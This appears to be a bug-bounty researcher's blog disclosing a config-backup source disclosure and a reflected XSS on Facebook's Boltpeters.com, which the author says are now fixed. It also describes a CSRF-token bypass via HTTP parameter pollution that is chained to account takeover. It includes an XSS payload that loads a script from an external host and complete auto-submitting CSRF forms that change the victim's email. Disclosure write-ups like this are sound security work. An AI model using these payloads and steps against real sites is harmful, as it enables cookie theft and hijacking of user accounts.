Facebooks Boltpeters.com Configuration File Source Code Disclosure and Reflected XSS Vulnerabilties

Facebooks Boltpeters.com Configuration File Source Code Disclosure Vulnerability

I want to share two of my finding on Facebooks Acquired domain Boltpeters.com which I have reported to Facebook on 1 Feburary 2013.

I have found that Facebooks Acquired domain Boltpeters.com Configuration File was accessible by crafting the config file path http://boltpeters.com/wp-config.php into a backup file path http://boltpeters.com/wp-config.php~

Steps to Regenerate the Vulnerability:

1.  To extract php source code with database name, MySQL database username and its password, database hostname, database charset and database collate etc. Open the following Url http://boltpeters.com/wp-config.php

2. Now change the the actual Url http://boltpeters.com/wp-config.php to http://boltpeters.com/wp-config.php~

3. Now you can access the php source code with database name, MySQL database username and its password, database hostname, database charset and database collate etc as mentioned below:

Configuration File Source Code Disclosure Vulnerability POC Screenshot:

Impact: Configuration files will disclose sensitive information that will help a malicious attacker to prepare more advanced attacks. Using this Vulnerability an attacker can easily Extract Facebooks Boltpeters.com Database Users ID & Password. 

Recommendation:

The sensitive files path shall not be directly accessible to any anonymous users.

The sensitive backup files path shall not be directly accessible to any anonymous users.

Remove Configuration File from the web server. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of temporary/backup files in directories accessible from the web.

Filesystem snapshots should not be accessible via the web if your document root is on a filesystem using this technology. Configure your web server to deny access to such directories.

Facebooks Boltpeters.com Reflected XSS

I have found that Facebook's Boltpeters.com application is vulnerable to Reflected Cross site Scripting attack as s parameter of this applications following Url http://boltpeters.com/?s=test is used for inputting an searching but as there is no proper input validation, filtration or sanitation on server side nor there is any output encoding etc to prevent this Reflected Cross site Scripting Vulnerability if the attacker uses the cross domain XSS payload with the combination of comments. So the attacker easily can steal the cookies(as http only cookie attribute missing) of any of those website users and can easily compromise there account.

Original XSS Vulnerable Url(Reflected XSS Via GET & POST Requests while searching & by Injecting the XSS Payload in Search field):
http://boltpeters.com/?s=test



Crafted XSS Vulnerable Url:
http://boltpeters.com/?s="><script src=//goo.gl/p2yht/><!--

XSS Payloads: "><script src=//goo.gl/p2yht/><!--

Vulnerable Parameter: s

Reflected XSS Vulnerability POC Screenshots:

Both the vulnerabilities were mitigated by Facebook Security Team within 5 days + (Rewarded me bounty for my Findings).

Suggestions and Feedbacks are welcome.

Account Compromise & Anti CSRF Token Bypass by Chaining Client-Side(Reflected) HTTP Parameter Pollution CSRF & Server-Side(Stored) HPP Vulnerabilities

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HPP & Stored HPP Vulnerabilities

While researching and working on bug bounties I have found that by using Reflected HTTP Parameter Pollution vulnerability we can bypass Anti-CSRF token validation and can execute CSRF and after that using the CSRF we can execute the Stored HPP vulnerabilty and can compromise any victims account if that site is vulnerable to these attacks.
 

The 1st challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that using Reflected HTTP Parameter Pollution vulnerability we can bypass the CSRF token validation even when the token is properly getting validated on server-side.

The actual rootcause of this vulnerability existence is that if the Anti-CSRF token parameter is used 2 times in a request then the 2nd Anti-CSRF token parameter value(the value will be attacker desired) is getting accepted and validated on the server-side instead of the 1st Anti-CSRF token. One more important point is that the if we try to use any other users CSRF token or old used CSRF token or any random CSRF token value using single CSRF token parameter then it was getting denied by the server and the request is getting blocked as the Anti-CSRF token was properly getting validated on the server-side.

The 2nd Challenge was to execute the Stored HTTP Parameter attack by finding the email parameter name and editing it with attackers email id. I have found that using CSRF vulnerability we can execute the Stored HPP vulnerability so using it we can edit the victims account email id to attackers email id but for that the attacker has to find the email id parameter name, so to find it the attacker can guess that parameter name, can fuzz it and can find the parameter name by using the forget password, reset password or login page Urls.

The actual rootcause of this vulnerability existence is that if the email id parameter is added with the attackers email id in the request using the CSRF vulnerability then the uneditable email id of victims account is getting edited or changed with the attackers email id.

In this way the attacker can easily change the victims account login email id and he has to confirm the changed email id by logggin into his email id and by clicking on the email confirmation link. Once the attackers email id is confirmed into the victims account, then the attacker can use the forget password option to reset the victims account password and after that attacker can change the victims account password and can compromie his account.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta241" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
</form>
</body>
</html>

2. After that add the same Anti-CSRF token parameter name again with any random value as token.

CSRF Token Bypass Via Reflected HPP (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value):

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />
<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
</form>
</body>
</html>

3. Now add the Email ID parameter value with the attackers email id.

4. Then send this crafted CSRF payload code as a link to the victim.

5. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HTTP Parameter Pollution CSRF & Stored HPP Vulnerabilities (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value and Email Parameter Value):

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />
<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
<input type="hidden" name="EmailID" value="attackertesting@gmail.com" />
</form>
</body>
</html>

Impact:

Anti-CSRF token validation can be bypassed and uneditable account login email is can be changed. This can lead to account compromise.

Recommendation:

CSRF token shall be properly validated on server-side and put method can  also be used instead of post.

Filtering of all incoming sharing requests that include duplicate parameters.

So in this way, using this multiple vulnerabilties chaining one can bypass Anti-CSRF token validation and can also compromise the victims account also these techniques can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.